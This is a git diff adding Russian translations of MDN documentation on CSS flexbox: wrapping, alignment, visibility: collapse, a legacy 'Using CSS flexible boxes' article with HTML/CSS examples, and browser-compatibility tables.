Значение по умолчанию свойства {{cssxref("flex-wrap")}} равняется nowrap. Это обозначает, что если у вас есть набор флекс-элементов, которые слишком широки для их контейнера, то они будут его переполнять. Если вы хотите, чтобы они переносились на следующую строку (или столбец, если у вас вертикально расположена основная ось) при переполнении, вы должны добавить свойство flex-wrap и установить ему значение wrap, или использовать сокращённую запись свойства {{cssxref("flex-flow")}} со значениями row wrap или column wrap соответственно для строк и столбцов.

+ +

Тогда элементы будут переноситься внутри контейнера. В следующем примере у нас есть 10 элементов с flex-basis равным 160px и способностью расти и сжиматься. Как только в первой строке мы попадаем в то место, когда нет возможности поместить ещё один элемент с размером 160 px, создаётся новая строка для этого элемента и так будет повторяться, пока не поместятся все элементы.Так как элементы могут расти, то их размер станет больше, чем 160px в том случае, когда все строки полностью заполнятся. Если на последней строке останется только один элемент, то он расширится до ширины всей строки.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-wrap.html", '100%', 650)}}

+ +

То же самое будет происходить с колонками. Содержащему контейнеру надо задать высоту, чтобы элементы начали переноситься в следующую колонку. И высота элементов тоже будет увеличиваться, чтобы заполнить колонку по высоте полностью.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/column-wrap.html", '100%', 810)}}

+ +

Перенос и направление (flex-direction)

+ +

Перенос работает, что логично ожидать, и в паре со свойством flex-direction. Если flex-direction установлен в row-reverse, тогда элементы начнут укладываться с конечного края контейнера и будут идти в обратном порядке.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-reverse-wrap.html", '100%', 750)}}

+ +

Обратите внимание, что обратный порядок относится только к строке (в случае построчного заполнения). Элементы начнут заполнять справа налево, затем перейдут на вторую строку и опять начнут справа. Не будет реверса сразу по обеим осям - строки не будут заполняться вверх!

+ +

Объяснение одномерного макета

+ +

Как мы уже видели в предыдущих примерах, если нашим элементам разрешено расти и сжиматься, то появляются несколько элементов в последней строке или столбце, которые расширяются, чтобы заполнить всё оставшееся пространство.

+ +

В технологии флексбоксов нет методов, которые позволили бы сказать элементам в одной строке выстроиться так же, как в строке выше — каждая флекс-строка ведёт себя как новый флекс-контейнер. Это так же касается распределения пространства по главной оси. Если есть только один элемент и ему разрешено расти, то он будет расти и заполнять главную ось направления, так же, как будто бы он был единственным элементов в контейнере.

+ +

Если вы хотите макет в двух измерениях, то вы, вероятно, хотите макет сетки - Grid Layout. Мы можем сравнить наш пример переноса строк выше с версией, сделанной на технологии CSS Grid, чтобы увидеть разницу. Следующий живой пример использует технологию CSS Grid Layout для создания макета с несколькими колонками, каждая из которых имеет установленный минимумальный размер в 160 px и соответственно распределяя дополнительное пространство между всеми стоблцами. Однако в этом случае элементы остаются в своей сетке и не растягиваются, если их в последнем ряду меньше.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/grid-example.html", '100%', 700)}}

+ +

В этом разница между одно- и двух -мерной компоновкой. В одномерном методе, таком как флексбокс, мы контролируем только одно измерение - либо строки, либо столбцы. В двумерном макете, таком как grid, мы контролируем сразу оба измерения. Если вы хотите распределение пространства построчно, используйте flexbox. Если не хотите - используйте Grid.

+ +

Как работают грид-системы на основе flexbox?

+ +

Как правило, grid системы на основе flexbox работают, возвращая flexbox к привычному миру разметок на основе float. Если вы назначите процентную ширину для элементов Flex - либо задав значение параметру flex-basis, либо добавив ширину к самому элементу, при этом оставив значение flex-basis как auto - вы можете создать впечатление двухмерного макета. Вы можете посмотреть, как это работает на примере ниже.

+ +

Здесь я установил flex-grow и flex-shrink на 0, чтобы запретить flex элементам расти и сжиматься, а затем контролирую их размер с помощью процентов, как мы это делали в макетах с float.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/flex-grid.html", '100%', 650)}}

+ +

Если вам нужно, чтобы flex элементы выровнялись по поперечной оси, такой способ управления шириной позволит этого добиться. Тем не менее, в большинстве случаев, добавление параметра ширины непосредственно в сам flex элемент говорит о том, что возможно будет лучше, если вы переключитесь на технологию grid layout для этого компонента макета.

+ +

Создание промежутков между элементами

+ +

При размещении flex элементов периодически возникает необходимость их разнести между собой. На данный момент у нас нет никакого решения задачи создания промежутков между элементами flexbox в пределах спецификации Box Alignment module. В будущем мы сможем просто использовать row-gap и column-gap для флексбоксов так же, как мы это делаем для CSS Grid макетов. Но пока всё что мы можем сделать - это использовать margin для достижения этой цели.

+ +

Как вы можете видеть на живом примере ниже, попытки создать промежутки между элементами, при этом не создавая промежутки с границами содержащего контейнера, приводят к тому, что нам приходится использовать отрицательные маржины для самого контейнера. Любая граница в flex контейнере затем перемещается во вторую оболочку, чтобы отрицательное поле могло вытянуть элементы до этого элемента оболочки.

+ +

Вот поэтому, когда всё-таки реализуют свойство gap, это решит проблему с промежутками. Потому что это свойство будет действовать только на промежутки между элементами, не затрагивая промежутки между элементом и содержащим контейнером.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/gaps.html", '100%', 830)}}

+ +

Сворачивание элементов

+ +

В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра visibility: collapse на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:

+ +
+

“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - Сворачивание элементов

+
+ +

Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.

+ +

В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр visibility: collapse. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите visibility: collapse из CSS или измените значение на visible, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.

+ +
+

Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}

+ +

Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит после сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.

+ +

Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.

+ +

Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}

+ +

Если это вызывает проблемы для вашего макета, возможно Вам стоит задуматься над переделкой структуры, например, поместить каждую строку в отдельный флекс-контейнер, чтобы они не могли смещать строки.

+ +

Разница между visibility: hidden и display: none

+ +

Когда Вы устанавливаете элементу display: none чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование visibility: hidden сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.

diff --git a/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html new file mode 100644 index 0000000000..20d43c2b28 --- /dev/null +++ b/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html @@ -0,0 +1,378 @@ +--- +title: Используем CSS Flexible Boxes +slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +--- +
Эта статья устарела и удалена из английской версии. Вместо неё идёт перенаправление на статью: +

Основные понятия Flexbox

+ + + +

У меня не поднялась рука удалить эту статью окончательно, но я рекомендую Вам вместо неё, всё-таки, прочитать ту.

+
+ +
{{CSSRef}}
+ +

CSS3 Flexible Box, или просто flexbox — это режим разметки, созданный для упорядочения элементов на странице таким образом, чтобы они вели себя предсказуемо в случаях, когда разметка страницы адаптирована под различные размеры экрана и устройства. Во многих случаях флексбоксы лучше блочной модели разметки, поскольку не использует обтекания (floats) и не выполняет схлопывание отступлений flex-контейнера и его содержимого (margin collapse).

+ +

Для многих дизайнеров модель использования флексбоксов будет более простой для применения. Дочерние элементы внутри флексбокса могут размещаться в любом направлении и могут менять размер, чтобы адаптироваться к различным размерам дисплея. Позиционирование элементов в таком случае является простым и комплексная разметка достигается значительно легче и с более чистым кодом, поскольку порядок отображения элементов не связан с их порядком в коде. Эта независимость умышленно касается только визуального рендеринга, оставляя порядок интерпретации и навигацию зависимыми от порядка в исходниках.

+ +
Внимание: некоторые браузеры все еще могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с таблицей совместимости.
+ +

Концепция Flexbox

+ +

Главной концепцией Flexbox есть возможность изменения высоты и/или ширины его элементов, чтобы лучше заполнять пространство любого дисплея. Flex-контейнер увеличивает элементы, чтобы заполнить доступное пространство или уменьшает чтобы предотвратить перекрытие.

+ +

Алгоритм разметки флексбоксами агностичено направлен в противовес блочной разметке, которая ориентирована строго вертикально, или горизонтально-ориентированной инлайн-разметке. Несмотря на то что разметка блоками хорошо подходит для страницы, ей не хватает объективного механизма для поддержки компонентов, которые должны менять ориентацию, размеры а также растягиваться или сжиматься при изменениях размера экрана, изменении ориентации с вертикальной на горизонтальную и так далее. Разметка флексбоксами наиболее желательна для компонентов приложения и шаблонов, которые мало масштабируются, тогда как grid-разметка создана для больших шаблонов. Обе технологии являются частью разработки CSS Working Group которая должна способствовать совместимости web-приложений с различными браузерами, режимами а также большей гибкости.

+ +

Терминология

+ +

Поскольку описание флексбоксов не включает таких словосочетаний, как горизонтальная / inline и вертикальная / block оси, объяснение модели предусматривает новую терминологию. Используйте следующую диаграмму при просмотре словаря терминов. Она изображает flex-контейнер, имеющий flex-направление ряда, что означает, что каждый flex item расположен горизонтально, друг за другом по главной оси (main axis) в соответствии с установленным направлением написания текста элемента. Слева направо в данном случае.

+ +

flex_terms.png

+ +
+
Flex-контейнер
+
Родительский элемент, в котором содержатся flex-элементы. Flex-контейнер определяется установкой свойства {{Cssxref("display")}} в flex или inline-flex.
+
Flex-элемент, flex item
+
+

Каждый дочерний элемент flex-контейнера становится flex-элементом. Текст, который напрямую содержится в flex-контейнере, оборачивается анонимным flex-элементом.

+
+
Оси
+
+

Каждый flexible-бокс шаблон строится по двум осям. Главная ось (main axis) — это ось, вдоль которой flex-элементы следуют один за другим, а перекрёстная ось (cross axis) перпендикулярна ей.

+ +
    +
  • Свойство {{Cssxref("flex-direction")}} устанавливает главную ось.
    • +
  • Свойство {{Cssxref("justify-content")}} определяет расположение элементов вдоль главной оси в текущем ряду.
    • +
  • Свойство align-items расположение элементов вдоль перекрёстной оси в текущем ряду.
    • +
  • Свойство align-self устанавливает, как отдельный flex-элемент выровнен по перекрёстной оси, переопределяя значения, установленные с помощью align-items.
    • +
+
+
Направления
+
+

Главное начало и конец (main) и перекрёстное начало и конец (cross start/end) — это стороны контейнера, определяющие начало и окончание потока flex-элемментов. Они следуют по главной и перекрестной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).

+ +
    +
  • Свойство {{Cssxref("order")}} присваивает элементы порядковым группам и определяет, в каком порядке их показывать.
    • +
  • Свойство {{Cssxref("flex-flow")}} — это короткая форма, состоящая из свойств {{Cssxref("flex-direction")}} и {{Cssxref("flex-wrap")}}, определяющих расплолжение элементов.
    • +
+
+
Линии
+
+

Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрестных линий и направление в котором складываются новые линии.

+
+
Размеры
+
+

Флекс элементы агностически эквивалентны высоте и ширине главного размера и поперечного размера, которые равны, соответственно,  главной оси (main axis) и поперечной оси (cross axis) флекс-контейнера.

+ + +
+
+ +

Делаем элемент флексбоксом

+ +

Чтобы сделать элемент flexible-боксом, укажите значение {{cssxref("display")}} следующим образом:

+ +
display: flex
+ +

или

+ +
display: inline-flex
+ +

Таким образом мы определяем элемент как флексбокс, а его дочерниие элементы — как flex-элементы. Значение flex делает контейнер блочным элементом, а inline-flex значение превращает его в инлайн-элемент.

+ +
Внимание: для указания префикса вендора, добавьте строку в значение атрибута, а не к самому атрибуту. Например, display: -webkit-flex.
+ +

Рассмотрим flex-элементы

+ +

Текст, который содержится непосредственно внутри flex-контейнера, автоматически оборачивается анонимным flex-элементом. Однако, анонимный flex-элемент, содержащий только пробелы, не отображается (как будто было указано значение display: none).

+ +

Абсолютно позиционированные дочерние элементы flex-контейнера позиционируются так, что их статическое положение определяется относительно главного начального угла содержащего их flex-контейнера.

+ +

Отступы (margin) соседних flex-контейнеров не схлопываются. Установка значений margin: auto поглощает дополнительное место в вертикальном или горизонтальном направлении и может быть использовано для выравнивания или для разделения соседних flex-элементов. См. Выравнивание при помощи 'автоматических' отступов в разделе "Модель расположения при помощи flex-контейнеров" спецификации W3C.

+ +

Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства align- просто установите автоматические отступы (margin: auto) для flex-элементов, которые вы хотите отцентрировать. Вместо свойств justify- установите margin: auto на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить justify-content центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надежно использовать центрирование, основанное на отступах, на основной оси для замены свойства justify-content.

+ +

Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очередность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.

+ +

Свойства Flexbox

+ +

Свойства, не влияющие на Flexbox

+ +

Так как flexbox используют другой алгоритм расположения, некоторые свойства не имеют смысла для flex-контейнера:

+ +
    +
  • свойства column-* модуля с множественными столбцами не влияет на flex-элементы.
    • +
  • {{cssxref("clear")}} не действует на flex-элементах.
    • +
  • {{cssxref("float")}} заставляет свойство элемента display считаться как block.
    • +
  • {{cssxref("vertical-align")}} не оказывает эффекта на выравнивание flex-элементов.
    • +
+ +

Пример

+ +

Типичный пример flex

+ +

Типичный пример показывает как применять "flex-эффект" к элементам и как соседние элементы ведут себя в состоянии flex.

+ +
​<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <style>
+    .flex {
+        /* basic styling */
+        width: 350px;
+        height: 200px;
+        border: 1px solid #555;
+        font: 14px Arial;
+
+        /* flexbox setup */
+        display: flex;
+        flex-direction: row;
+    }
+
+    .flex > div {
+        flex: 1 1 auto;
+        width: 30px; /* To make the transition work nicely. (Transitions to/from
+                        "width:auto" are buggy in Gecko and Webkit, at least.
+                        See http://bugzil.la/731886 for more info.) */
+        transition: width 0.7s ease-out;
+    }
+
+    /* colors */
+    .flex > div:nth-child(1){ background: #009246; }
+    .flex > div:nth-child(2){ background: #F1F2F1; }
+    .flex > div:nth-child(3){ background: #CE2B37; }
+
+    .flex > div:hover {
+        width: 200px;
+    }
+
+    </style>
+  </head>
+  <body>
+    <p>Flexbox nuovo</p>
+    <div class="flex">
+      <div>uno</div>
+      <div>due</div>
+      <div>tre</div>
+    </div>
+  </body>
+</html>
+ +

Пример расположения "Священный Грааль"

+ +

Данный пример показывает как flexbox предоставляет возможность динамически изменять расположение для различных разрешений экрана. Следующая схема иллюстрирует преобразование.

+ +

HolyGrailLayout.png

+ +

Здесь изображен случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.

+ +
​<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <style>
+    body {
+        font: 24px Helvetica;
+        background: #999999;
+    }
+
+    #main {
+        min-height: 800px;
+        margin: 0px;
+        padding: 0px;
+        display: flex;
+        flex-flow: row;
+    }
+
+    #main > article {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #cccc33;
+        border-radius: 7pt;
+        background: #dddd88;
+        flex: 3 1 60%;
+        order: 2;
+    }
+
+    #main > nav {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 1;
+    }
+
+    #main > aside {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 3;
+    }
+
+    header, footer {
+        display: block;
+        margin: 4px;
+        padding: 5px;
+        min-height: 100px;
+        border: 1px solid #eebb55;
+        border-radius: 7pt;
+        background: #ffeebb;
+    }
+
+    /* Too narrow to support three columns */
+    @media all and (max-width: 640px) {
+        #main, #page {
+            flex-direction: column;
+        }
+
+        #main > article, #main > nav, #main > aside {
+        /* Return them to document order */
+            order: 0;
+        }
+
+        #main > nav, #main > aside, header, footer {
+            min-height: 50px;
+            max-height: 50px;
+        }
+    }
+    </style>
+  </head>
+  <body>
+    <header>header</header>
+    <div id='main'>
+      <article>article</article>
+      <nav>nav</nav>
+      <aside>aside</aside>
+    </div>
+    <footer>footer</footer>
+  </body>
+</html>
+ +

Песочница

+ +

Существует несколько песочниц с flexbox, доступных онлайн для экспериментов:

+ + + +

О чем нужно помнить

+ +

Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при верстке с использованием flexbox.

+ +

Flexbox располагаются в соответствие с направлением письма, что означает, что главное начало и главный конец располагаются в зависимости от положения начала и конца (строки - прим.).

+ +

Перекрестное начало и перекрестный конец полагаются на определение позиции начала и конца, которое зависит от значения свойства {{cssxref("direction")}}.

+ +

Разрывы страницы допустимы в расположении flex-контейнеров, когда это позволяет свойство break-. Свойства CSS3 break-after, break-before и break-inside, а также свойства CSS 2.1 page-break-before, page-break-after и page-break-inside работают на flex-контейнере, flex-элементах, а также внутри flex-элементов.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support (single-line flexbox){{CompatGeckoDesktop("18.0")}}[6]{{property_prefix("-moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}		21.0{{property_prefix("-webkit")}}
+ 29.0		11[3]12.10{{property_prefix("-webkit")}}[5]6.1{{property_prefix("-webkit")}}[1]
Multi-line flexbox{{CompatGeckoDesktop("28.0")}}21.0{{property_prefix("-webkit")}}
+ 29.0		11[3]12.10[5]
+ 15 {{property_prefix("-webkit")}}		6.1{{property_prefix("-webkit")}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)Firefox OSAndroidIE PhoneOpera MobileSafari Mobile
Basic support (single-line flexbox){{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}[2]
+ {{CompatGeckoMobile("22.0")}}		 +

1.0{{property_prefix("-moz")}}[2]
+ 1.1

+ 		2.1{{property_prefix("-webkit")}}[4]
+ 4.4		1112.10[5]
+ 15{{property_prefix("-webkit")}}		7{{property_prefix("-webkit")}}[1]
Multi-line flexbox{{CompatGeckoMobile("28.0")}}1.32.1{{property_prefix("-webkit")}}[4]
+ 4.4		1112.10[5]
+ 15{{property_prefix("-webkit")}}		7{{property_prefix("-webkit")}}[1]
+
+ +

[1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлен для поддержки финальной версии.

+ +

[2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр about:config layout.css.flexbox.enabled в значение true. Начиная с Firefox 22 по Firefox 27, параметр установлен в true по умолчанию, и полностью исключен в Firefox 28.

+ +

[3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 был обновлен для поддержки финальной версии.

+ +

[4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлен для поддержки финальной версии.

+ +

[5] Хотя изначальная реализация в Opera 12.10 flexbox была без приставки, она получила приставку {{property_prefix("-webkit")}} в версиях с 15 по 16 Opera и с 15 по 19 Opera Mobile. Приставка была снова убрана в Opera 17 и Opera Mobile 24.

+ +

[6] До Firefox 29, установка visibility: collapse для flex-элемента заставляет его обрабатываться как display: none вместо предполагаемого поведения, обрабатывающего его как visibility: hidden. Предложенное решение - использовать visibility:hidden для flex-элементов, которые должны вести себя как при установленном visibility:collapse. Для большей информации, см {{bug(783470)}}.

+ +

См. также

+ +
    +
  • Проект Flexbugs для информации о багах в браузерных реализациях flexbox.
    • +
diff --git "a/files/ru/web/css/css_flexible_box_layout/\320\262\321\213\321\200\320\260\320\262\320\275\320\270\320\262\320\260\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262_flex_\320\272\320\276\320\275\321\202\320\265\320\271\320\275\320\265\321\200\320\265/index.html" "b/files/ru/web/css/css_flexible_box_layout/\320\262\321\213\321\200\320\260\320\262\320\275\320\270\320\262\320\260\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262_flex_\320\272\320\276\320\275\321\202\320\265\320\271\320\275\320\265\321\200\320\265/index.html" new file mode 100644 index 0000000000..9fe0b2932f --- /dev/null +++ "b/files/ru/web/css/css_flexible_box_layout/\320\262\321\213\321\200\320\260\320\262\320\275\320\270\320\262\320\260\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262_flex_\320\272\320\276\320\275\321\202\320\265\320\271\320\275\320\265\321\200\320\265/index.html" @@ -0,0 +1,213 @@ +--- +title: Выравнивание элементов во Flex контейнере +slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элементов_в_Flex_контейнере +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +--- +

{{CSSRef}}

+ +

Одной из причин быстрого роста популярности flexbox среди веб-разработчиков было то, что впервые были предоставлены адекватные возможности выравнивания. Он предоставил адекватное вертикальное выравнивание, и стало возможным, наконец, легко поместить элемент в центр по вертикали. В этом руководстве детально рассматривается, как выравнивание и распределение работают во Flexbox.

+ +

Для центрирования элемента по перекрёстной оси (в данном случае - вертикальной) используется свойство align-items. Для центрирования элемента по главной оси (в данном случае - горизонтально), используется свойство justify-content.

+ +

A containing element with another box centered inside it.

+ + + +

На примере ниже можно изменить размер контейнера или вложенного элемента, но элемент всегда останется по центру.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

Свойства управления выравниванием

+ +

В этом руководстве рассматриваются следующие свойства:

+ +
    +
  • {{cssxref("justify-content")}} — управляет выравниванием элементов по главной оси.
    • +
  • {{cssxref("align-items")}} — управляет выравниванием элементов по перекрёстной оси.
    • +
  • {{cssxref("align-self")}} — управляет выравниванием конкретного flex элемента по перекрёстной оси.
    • +
  • {{cssxref("align-content")}} — описывается в спецификации как “упаковка flex строк”; управляет промежутками между flex строками по перекрёстной оси.
    • +
+ +

Также будет рассмотрены авто-отступы для выравнивания элементов во flexbox.

+ +
+

Замечание: Свойства выравнивания во Flexbox помещены в отдельную спецификацию — CSS Box Alignment Level 3. Ожидается, что данная спецификация в конце концов заменит свойства, определённые во Flexbox Level One.

+
+ +

Перекрёстная ось

+ +

Свойства align-items и align-self управляют выравниванием flex элементов по перекрёстной оси: вертикальной для flex-direction установленным в row, и горизонтальной для flex-direction установленным в column.

+ +

Рассмотрим выравнивание по перекрёстной оси на простейшем примере. Если установить display: flex у контейнера, все дочерние элементы становятся flex элементами, выстроенными в ряд. Все они по вертикали примут размер самого высокого элемента, который станет определяющим вертикального размера. Если у flex контейнера задана высота, то все элементы растянутся до высоты контейнера, независимо от размера содержимого.

+ +

Three items, one with additional text causing it to be taller than the others.

+ +

Three items stretched to 200 pixels tall

+ +

Все элементы становятся одной высоты, т.к. по умолчанию свойство align-items имеет значение stretch.

+ +

Другие возможные значения свойства:

+ +
    +
  • align-items: flex-start
    • +
  • align-items: flex-end
    • +
  • align-items: center
    • +
  • align-items: stretch
    • +
  • align-items: baseline
    • +
+ +

В примере ниже значение свойств align-items установлено в stretch. Попробуйте другие значения для понимания их действия.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

+ +

Выравнивание одного элемента при помощи align-self

+ +

Свойство align-items устанавливает align-self для всех flex элементов как для группы. Это означает, что можно явно указать значение align-self для конкретного элемента. Свойство align-self может принимать все те же значения, что и свойство align-items, а так же значение auto, которое сбросит значение, установленное в flex контейнере.

+ +

В следующем примере, у flex контейнера установлено align-items: flex-start, означающее, что все элементы будут выравнены по началу перекрёстной оси. У первого элемента с помощью first-child селектора установлено align-items: stretch; у следующего элемента с классом selected установлено align-self: center. Можно изменять значение align-items на контейнере или align-self на элементе для изучения их работы.8н

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

+ +

Изменение основной оси

+ +

До сего момента мы изучали поведение при flex-direction установленном в row, в языке, использующем написание сверху вниз. Это означает, что основная ось идёт горизонтально, а выравнивание по перекрёстной оси сдвигает элементы вверх или вниз.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

+ +

Если изменить flex-direction на column, align-items и align-self будут сдвигать элементы влево или вправо.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

+ +

Можно попробовать пример ниже, где установлено flex-direction: column.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

+ +

Выравнивание содержимого по перекрёстной оси — свойство align-content

+ +

До сих пор мы выравнивали элементы внутри flex-контейнера. Если содержимое вашего flex контейнера переносится на несколько строк, используйте свойство align-content для управления свободным пространством между строками. В спецификации это описано как упаковка flex-строк.

+ +

Чтобы свойство align-content работало, необходимо, чтобы в flex-контейнере было больше места, что требуется для отображения всего содержимого. Оно применяется ко всем элементам как группе, и управляет распределением свободного места и положением всей группы элементов внутри контейнера.

+ +

Свойство align-content принимает следующие значения:

+ +
    +
  • align-content: flex-start
    • +
  • align-content: flex-end
    • +
  • align-content: center
    • +
  • align-content: space-between
    • +
  • align-content: space-around
    • +
  • align-content: stretch
    • +
  • align-content: space-evenly (не описано в спецификации Flexbox)
    • +
+ +

В примере ниже flex контейнер имеет высоту 400 пикселей - больше, чем необходимо для отображения всех элементов. Значение align-content установлено в space-between, означающее, что свободное пространство разделено между строками, расположенными вплотную к началу и концу контейнера по перекрёстной оси.

+ +

Попробуйте другие значения align-content для понимания принципа их работы.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

+ +

Также можно сменить значение flex-direction на column и увидеть, как наше свойство работает в режиме колонок. Как и ранее, что увидеть работу свойства, у контейнера должно быть больше свободного места, чем требуется содержимому.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

+ +
+

Замечание: значение space-evenly не определено в спецификации flexbox и добавлено позже в спецификацию Box Alignment. Поддержка браузерами этого значение не так широка, как значений определённым в спецификации flexbox.

+
+ +

В документации по justify-content на MDN приведено больше деталей о всех значениях и поддержке браузерами.

+ +

Выравнивание содержимого по главной оси

+ +

Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — justify-content. Это обсуловлено тем, что с элементами на  главной оси мы работаем только как с группой. Используя свойство justify-content, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.

+ +

В нашем первом примере с использованием свойства display: flex, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство justify-content имеет начальное значение flex-start. Все свободное место располагается в конце контейнера.

+ +

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

+ +

